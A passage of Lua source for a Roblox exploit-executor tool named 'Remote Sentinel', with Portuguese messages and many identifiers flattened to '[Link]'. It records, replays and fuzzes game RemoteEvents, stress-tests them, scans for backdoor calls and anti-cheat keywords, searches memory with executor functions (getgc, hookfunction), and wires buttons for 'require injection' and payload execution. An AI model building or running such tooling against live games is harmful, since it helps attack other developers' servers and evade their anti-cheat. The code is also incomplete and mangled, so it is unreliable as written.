[Link]:Log("Gravação iniciada para " ..
[Link], 1)
else
[Link] = "⏺ Start Recording"
[Link].TextColor3 = [Link]
[Link]:Log("Gravação parada.", 2)
end
end

function [Link]:RecordCall(args)
[Link]([Link], args)
local frame = [Link]

create("TextLabel", {
Text = [Link]("[%d] %s", #[Link],
[Link]:Serialize(args)),
Font = [Link],
TextSize = 12,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 14),
AutomaticSize = [Link].Y,
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = frame
})

[Link]()
if frame and [Link] then
[Link] = [Link](0, 0, 0, [Link].Y)
end
end

function [Link]:ReplayAll()
if not [Link] then
return [Link]:Log("Selecione um remote para dar replay.", 3)
end

if #[Link] == 0 then
return [Link]:Log("Nenhuma chamada gravada.", 2)
end

[Link]:Log([Link]("Dando replay em %d chamadas em %s...",


#[Link], [Link]), 0)

[Link](function()
for i, args in ipairs([Link]) do
if not [Link] or not
[Link] then
[Link]:Log("Instância do replay se tornou inválida.
Abortando.", 3)
break
end

[Link]:Log([Link]("Replay da chamada #%d...", i),


0)
[Link]:Execute([Link], args)
[Link](0.1)
end

[Link]:Log("Replay finalizado.", 1)
end)
end

function [Link]:Clear()
[Link] = {}
local frame = [Link]
local children = frame:GetChildren()
for _, v in ipairs(children) do
if [Link] ~= "Layout" then
v:Destroy()
end
end
[Link] = [Link](0,0,0,0)
[Link]:Log("Gravação limpa.", 1)
end

[Link] = {}
[Link] = {}

function [Link]:Highlight(source)
if not pcall(loadstring, "return " .. source) and not pcall(loadstring, source)
then
return "<font color='#"..[Link]:ToHex().."'>ERROR: Could not
load source code.</font>"
end

local function wrap(str, color)


return [Link]("<font color='#%s'>%s</font>", color:ToHex(), str)
end

source = source:gsub("(--%[=*%[.-%]=*--])", function(s) return wrap(s,


[Link]) end)
source = source:gsub("(--[^\n]*)", function(s) return wrap(s,
[Link]) end)
source = source:gsub("(\"[^\"]*\")", function(s) return wrap(s,
[Link]) end)
source = source:gsub("('.[^']*')", function(s) return wrap(s,
[Link]) end)
source = source:gsub("(%D)(%d[%d%.eE+-]*)", function(pre, num) return
pre..wrap(num, [Link]) end)

local function highlightKeywords(text, words, color)


for _, word in ipairs(words) do
text = text:gsub("([^%w_])(" .. word .. ")([^%w_])", function(b1, w,
b2) return b1 .. wrap(w, color) .. b2 end)
text = text:gsub("^(" .. word .. ")([^%w_])", function(w, b2) return
wrap(w, color) .. b2 end)
text = text:gsub("([^%w_])(" .. word .. ")$", function(b1, w) return b1
.. wrap(w, color) end)
text = text:gsub("^(" .. word .. ")$", function(w) return wrap(w,
color) end)
end
return text
end

local keywords = {"function", "end", "if", "then", "else", "elseif", "for",


"while", "do", "return", "break", "continue", "in", "repeat", "until"}
source = highlightKeywords(source, keywords, [Link])

local globals = {"local", "and", "or", "not", "true", "false", "nil"}


source = highlightKeywords(source, globals, [Link])

local dangerous = {"getfenv", "getmenv", "setfenv", "setmenv", "loadstring",


"require", "pcall", "xpcall", "HttpService", "SetTeleportGui", "Teleport",
"getscriptclosure", "newcclosure"}
source = highlightKeywords(source, dangerous, [Link])

return source
end

function [Link]:ClearResults()
local resultsFrame = [Link]
local children = resultsFrame:GetChildren()
for _,v in ipairs(children) do
if [Link] ~= "Layout" then
v:Destroy()
end
end

[Link] = [Link](0,0,0,0)
end

function [Link]:AddResult(text, color, onClick)


local resultsFrame = [Link]
local item = create(onClick and "TextButton" or "TextLabel", {
Text = text,
RichText = true,
Font = [Link],
TextSize = 12,
TextColor3 = color or [Link],
Size = [Link](1, -10, 0, 14),
AutomaticSize = [Link].Y,
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = resultsFrame
})

if onClick then
item.MouseButton1Click:Connect(onClick)
end

[Link]()
if resultsFrame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end

function [Link]:ShowSource(scriptInstance, assetId)


self:ClearResults()
local title = assetId and [Link]("Asset ID: %s", assetId) or
[Link]("Script: %s", scriptInstance:GetFullName())
self:AddResult([Link]("<b>-- Visualizando Código de: %s --</b>", title),
[Link])

[Link](function()
local source, success, model
if assetId then
success, model = pcall([Link], InsertService, assetId)
if not success or not model then
self:AddResult("ERRO: Não foi possível carregar o asset. Pode estar
off-sale ou ser inválido.", [Link])
return
end

local module = model:FindFirstChildOfClass("ModuleScript")


if module then
source = [Link]
else
self:AddResult("ERRO: O Asset não contém um ModuleScript.",
[Link])
end

pcall([Link], model)
else
success, source = pcall(function() return [Link] end)
if not success then
self:AddResult("ERRO: Não foi possível ler a propriedade .Source. O
acesso pode estar bloqueado.", [Link])
return
end
end

if source then
self:AddResult("Código carregado. Analisando...", [Link])
[Link]()
local highlightedSource = [Link]:Highlight(source)
self:AddResult(highlightedSource, [Link])
end
end)
end

function [Link]:ScanForBackdoors()
self:ClearResults()
[Link]:Log("Procurando por backdoors comuns...", 0)
self:AddResult("<b>-- Scan de Backdoors (require, loadstring, getfenv) --</b>",
[Link])

[Link](function()
local button = [Link]
[Link] = "Verificando..."
[Link] = false

local found = 0
local patterns = {
require = "require%s*%((%s*(%d+)%s*)%)",
loadstring = "(loadstring)",
getfenv = "(getfenv)",
getmenv = "(getmenv)"
}

for _, s in ipairs(game:GetDescendants()) do
if s:IsA("Script") or s:IsA("LocalScript") or s:IsA("ModuleScript")
then
local success, source = pcall(function() return [Link] end)
if success and source then
for pName, pattern in pairs(patterns) do
for match in source:gmatch(pattern) do
found = found + 1
local path = s:GetFullName()
local colorHex = [Link]:ToHex()
local text

if pName == "require" then


text = [Link]("VULN: `require(<font color='#
%s'>%s</font>)` em <font color='#%s'>%s</font>", [Link]:ToHex(),
match, colorHex, path)
else
text = [Link]("VULN: `%s` encontrado em
<font color='#%s'>%s</font>", pName, colorHex, path)
end

self:AddResult(text, [Link],
function()
self:ShowSource(s)
end)
break
end
end
end

if found % 100 == 0 then


[Link]()
end
end
end

[Link]:Log([Link]("Scan de backdoors completo. %d


suspeitas encontradas.", found), found > 0 and 5 or 1)
self:AddResult([Link]("<b>-- Varredura Concluída (%d) --</b>",
found), [Link])
[Link] = "Scan for Common Backdoors"
[Link] = true
end)
end

function [Link]:ScanForStaticPatterns()
self:ClearResults()
[Link]:Log("Iniciando análise estática de LocalScripts...", 0)
self:AddResult("<b>-- Análise Estática de Chamadas de Remote --</b>",
[Link])

[Link](function()
local button = [Link]
[Link] = "Verificando..."
[Link] = false

local found = 0
local patterns = {
FireServer = "([:.]FireServer%s*%)",
InvokeServer = "([:.]InvokeServer%s*%)",
HttpRequest = "([:.]RequestAsync%s*%)"
}

for _, s in ipairs(game:GetDescendants()) do
if s:IsA("LocalScript") then
local success, source = pcall(function() return [Link] end)
if success and source then
for pName, pattern in pairs(patterns) do
if source:find(pattern) then
for line in source:gmatch("[^\n]+") do
if line:find(pattern) then
found = found + 1
local path = s:GetFullName()
local colorHex = [Link]:ToHex()
local text = [Link]("STATIC: `%s` em
<font color='#%s'>%s</font>", pName, colorHex, path)
self:AddResult(text, [Link],
function()
self:ShowSource(s)
end)
break
end
end
end
end
end

if found % 50 == 0 then
[Link]()
end
end
end

[Link]:Log([Link]("Análise estática completa. %d


padrões suspeitos encontrados.", found), found > 0 and 2 or 1)
self:AddResult([Link]("<b>-- Varredura Concluída (%d) --</b>",
found), [Link])
[Link] = "Static Analysis (Client Scripts)"
[Link] = true
end)
end

function [Link]:ScanForAdminSystems()
self:ClearResults()
[Link]:Log("Scanning for common admin systems...", 0)
self:AddResult("<b>-- Scan for Common Admin Systems --</b>",
[Link])

local found = 0
local adminSystems = {"HDAdmin", "Adonis", "BasicAdmin", "KohlAdmin", "Cmdr",
"Zeus", "EvolveAdmin", "SenciaAdmin"}

for _, name in pairs(adminSystems) do


local instance = game:FindFirstChild(name, true)
if instance then
found = found + 1
self:AddResult([Link]("DETECTED: %s system found at %s", name,
instance:GetFullName()), [Link])
end
end

[Link]:Log([Link]("Admin system scan complete. Found %d


known systems.", found), found > 0 and 2 or 1)
end

function [Link]:ScanForInsecurePatterns()
self:ClearResults()
[Link]:Log("Scanning for insecure remote patterns...", 0)
self:AddResult("<b>-- Scan for Insecure Remote Patterns --</b>",
[Link])

local found = 0
[Link](function()
for _, remoteData in ipairs([Link]) do
if [Link] and [Link] then
if
[Link]:IsDescendantOf(LocalPlayer:FindFirstChildOfClass("PlayerGui"))
then
found = found + 1
self:AddResult([Link]("WARN: Remote found inside
PlayerGui: <font color='#%s'>%s</font>", [Link]:ToHex(),
[Link]:GetFullName()), [Link])
end

if [Link] == Workspace or
[Link] == game:GetService("Lighting") then
found = found + 1
self:AddResult([Link]("WARN: Remote found directly in
%s: <font color='#%s'>%s</font>", [Link],
[Link]:ToHex(), [Link]:GetFullName()),
[Link])
end
end
end

[Link]:Log([Link]("Insecure pattern scan complete.


Found %d potential issues.", found), found > 0 and 2 or 1)
end)
end

function [Link]:ScanForAntiCheat()
self:ClearResults()
[Link]:Log("Scanning for common anti-cheat patterns...", 0)
self:AddResult("<b>-- Scan for Anti-Cheat Patterns --</b>",
[Link])

[Link](function()
local button = [Link]
[Link] = "Verificando..."
[Link] = false

local found = 0
local patterns = {
"WalkSpeed", "[Link]", "AssemblyLinearVelocity",
"JumpPower",
"noclip", "fly", "speed", "exploit", "cheat", "hack", "admin", "cmds",
"while wait()", "while [Link]()"
}

for _, s in ipairs(game:GetDescendants()) do
if s:IsA("LocalScript") then
local success, source = pcall(function() return [Link] end)
if success and source then
for _, pattern in pairs(patterns) do
if source:lower():find(pattern:lower(), 1, true) then
found = found + 1
local path = s:GetFullName()
local colorHex = [Link]:ToHex()
self:AddResult([Link]("SUSPECT: Pattern `%s`
found in <font color='#%s'>%s</font>", pattern, colorHex, path),
[Link], function()
self:ShowSource(s)
end)
break
end
end
end

if found % 50 == 0 then
[Link]()
end
end
end

[Link]:Log([Link]("Anti-cheat scan complete. %d


suspicious scripts found.", found), found > 0 and 2 or 1)
self:AddResult([Link]("<b>-- Varredura Concluída (%d) --</b>",
found), [Link])
[Link] = "Scan for Anti-Cheat Patterns"
[Link] = true
end)
end

function [Link]:MemoryScanForReferences()
if not [Link] then
return [Link]:Log("`getgc` não está disponível no seu
executor.", 3)
end

if not [Link] then


return [Link]:Log("Nenhum remote selecionado para scan de
memória.", 3)
end

local remoteInstance = [Link]


self:ClearResults()
[Link]:Log("Procurando na memória por referências a " ..
[Link] .. "...", 0)
self:AddResult([Link]("<b>-- Scan de Memória para: %s --</b>",
[Link]), [Link])

[Link](function()
local button = [Link]
[Link] = false
[Link] = "Verificando..."

local found = 0
local gc = getgc(true)

for i, f in ipairs(gc) do
if type(f) == "function" and (not
[Link] or not is_c_function(f)) then
local success, upvalues = pcall(getupvalues, f)
if success then
for _, upval in ipairs(upvalues) do
if upval == remoteInstance then
found = found + 1
local info = [Link](f)
self:AddResult([Link]("REF: Encontrada em função
em %s:%s", info.short_src or "unknown", [Link] or "?"),
[Link])
break
end
end
end

if i % 1000 == 0 then
[Link]()
end
end
end

[Link]:Log([Link]("Scan de memória completo. %d


referências em funções encontradas.", found), found > 0 and 1 or 2)
[Link] = true
[Link] = "Scan Memory for References"
end)
end

[Link] = {}

function [Link]:AnalyzeLogic()
if not [Link] then
return [Link]:Log("Nenhuma chamada de fuzz bem-sucedida.
Execute o fuzzer com heurística primeiro.", 3)
end

local data = [Link]


local remoteData = [Link]
local originalPayload = [Link]

local frame = [Link]


local children = frame:GetChildren()
for _,v in ipairs(children) do
if [Link] ~= "Layout" then
v:Destroy()
end
end

local function addResult(text, color)


create("TextLabel", {
Text = text,
RichText = true,
Font = [Link],
TextSize = 12,
TextColor3 = color or [Link],
Size = [Link](1, 0, 0, 14),
AutomaticSize = [Link].Y,
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = frame
})
[Link]()
if frame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end

[Link]:Log("Starting logic analysis...", 0)


addResult([Link]("<b>Analyzing logic for: %s</b>",
[Link]), [Link])
addResult([Link]("Baseline success with payload: <font
color='#%s'>%s</font>", [Link]:ToHex(),
[Link]:Serialize(originalPayload)), [Link])

[Link](function()
addResult("\n<b>-- Testando Contagem de Argumentos --</b>",
[Link])
local lessArgs = {[Link](originalPayload, 1, #originalPayload - 1)}

[Link]:Execute(remoteData, lessArgs, function(s, r)


addResult([Link]("Menos args (%d): %s", #lessArgs, s and
"SUCESSO" or "FALHA - "..tostring(r)), s and [Link] or
[Link])
end)

[Link](0.1)

local moreArgs = {[Link](originalPayload), "extra_arg"}


[Link]:Execute(remoteData, moreArgs, function(s, r)
addResult([Link]("Mais args (%d): %s", #moreArgs, s and
"SUCESSO" or "FALHA - "..tostring(r)), s and [Link] or
[Link])
end)

[Link](0.1)

addResult("\n<b>-- Testando Tipos de Argumentos --</b>",


[Link])
for i, v in ipairs(originalPayload) do
local originalType = typeof(v)
local testPayload = {[Link](originalPayload)}

local continueIteration = false


if originalType == "string" then
testPayload[i] = 12345
elseif originalType == "number" then
testPayload[i] = "test"
elseif originalType == "boolean" then
testPayload[i] = {}
else
continueIteration = true
end

if not continueIteration then


[Link]:Execute(remoteData, testPayload, function(s, r)
addResult([Link]("Arg #%d (%s -> %s): %s", i,
originalType, typeof(testPayload[i]), s and "SUCESSO" or "FALHA - "..tostring(r)),
s and [Link] or [Link])
end)
[Link](0.1)
end
end

addResult("\n<b>-- Análise Completa --</b>", [Link])


[Link]:Log("Análise de lógica finalizada. Verifique a aba
Avançado.", 1)
end)
end

function RemoteSentinel:Initialize()
[Link] = pcall(function() local f = function() end; local nf
= hookfunction(f, function() end); unhookfunction(f); return true end)
[Link] = pcall(getgc)
[Link] = pcall(is_c_function, print)
[Link] = [Link] and
pcall([Link], HttpService, "[Link]

[Link]:Create()
local mainTab = [Link]:CreateTab("Main")
local backdoorTab = [Link]:CreateTab("Backdoor")
local fuzzerTab = [Link]:CreateTab("Fuzzer")
local scannerTab = [Link]:CreateTab("Scanners")
local networkTab = [Link]:CreateTab("Network")
local recorderTab = [Link]:CreateTab("Recorder")
local advancedTab = [Link]:CreateTab("Advanced")

[Link]:SetupMainTab(mainTab)
[Link]:SetupBackdoorTab(backdoorTab)
[Link]:SetupFuzzerTab(fuzzerTab)
[Link]:SetupScannerTab(scannerTab)
[Link]:SetupNetworkTab(networkTab)
[Link]:SetupRecorderTab(recorderTab)
[Link]:SetupAdvancedTab(advancedTab)

[Link]:Log("Remote Sentinel Inicializando...", 0)


[Link]:UpdateStatus("Inicializando...")

[Link].MouseButton1Click:Connect(function()
[Link]:PopulateList(true) end)
[Link]:GetPropertyChangedSignal("Text"):Connect(function()
[Link]:PopulateList(false) end)

[Link].MouseButton1Click:Connect(function()
[Link]:StartScan() end)
[Link].MouseButton1Click:Connect(function()
[Link]:StartExecution() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ToggleDebug() end)

[Link].MouseButton1Click:Connect(function()
if not [Link] then return [Link]:Log("Nenhum remote
selecionado para o fuzz.", 3) end
local dropdown = [Link]
if [Link] == 0 then return [Link]:Log("Selecione um
perfil de fuzz.", 3) end
local selectedProfile = [Link][[Link]]
[Link]:Run([Link], selectedProfile)
end)
[Link].MouseButton1Click:Connect(function()
if not [Link] then return [Link]:Log("Nenhum remote
selecionado para o teste de estresse.", 3) end
[Link]:StressTest([Link])
end)
[Link].MouseButton1Click:Connect(function()
if not [Link] then return [Link]:Log("Nenhum remote
selecionado para executar o payload.", 3) end
[Link]:ExecutePayload()
end)
local function setupToggle(button, flagName, logName)
button.MouseButton1Click:Connect(function()
[Link][flagName] = not [Link][flagName]
local state, color = [Link][flagName] and "ON" or "OFF",
[Link][flagName] and [Link] or [Link]
[Link] = logName..": " .. state
button.TextColor3 = color
[Link]:Log(logName.." Analysis está agora " .. state, 2)
end)
end
setupToggle([Link], "HeuristicAnalysis", "Heuristics")
setupToggle([Link], "AdaptiveFuzzing", "Adaptive")

[Link].MouseButton1Click:Connect(function()
[Link]:ScanForBackdoors() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForStaticPatterns() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForAdminSystems() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForInsecurePatterns() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForAntiCheat() end)
[Link].MouseButton1Click:Connect(function()
[Link]:MemoryScanForReferences() end)
[Link].MouseButton1Click:Connect(function()
[Link]:AttemptRequireInjection() end)

[Link].MouseButton1Click:Connect(function()
[Link]:SendHttpRequest() end)

[Link].MouseButton1Click:Connect(function()
[Link]:ToggleRecording() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ReplayAll() end)
[Link].MouseButton1Click:Connect(function()
[Link]:Clear() end)

[Link].MouseButton1Click:Connect(function()
[Link]:AnalyzeLogic() end)

[Link]:Connect(function(msg, msgType)
if msgType == [Link] and not msg:find("The current
identity") then
[Link]:Log("ERRO DE SCRIPT DO SERVIDOR: " .. msg:sub(1, 200), 5)
end
end)

[Link]()
local firstTabButton = [Link]:GetChildren()[1]
if firstTabButton and firstTabButton:IsA("TextButton") then
firstTabButton.MouseButton1Click:Wait()
end

[Link]:PopulateList(true)
[Link]:Log("Pronto. Selecione um remote e escolha uma ação.", 1)

if not [Link] then [Link]:Log("Hooking desativado:


`hookfunction` não disponível.", 2) end
if not [Link] then [Link]:Log("Scan de memória
desativado: `getgc` não disponível.", 2) end
if not [Link] then [Link]:Log("HTTP Requester
desativado: HttpService não está habilitado neste jogo.", 2) end
end

local success, err = pcall(function()


RemoteSentinel:Initialize()
end)

if not success then


warn("Falha ao inicializar o Remote Sentinel: ", err)
end

You might also like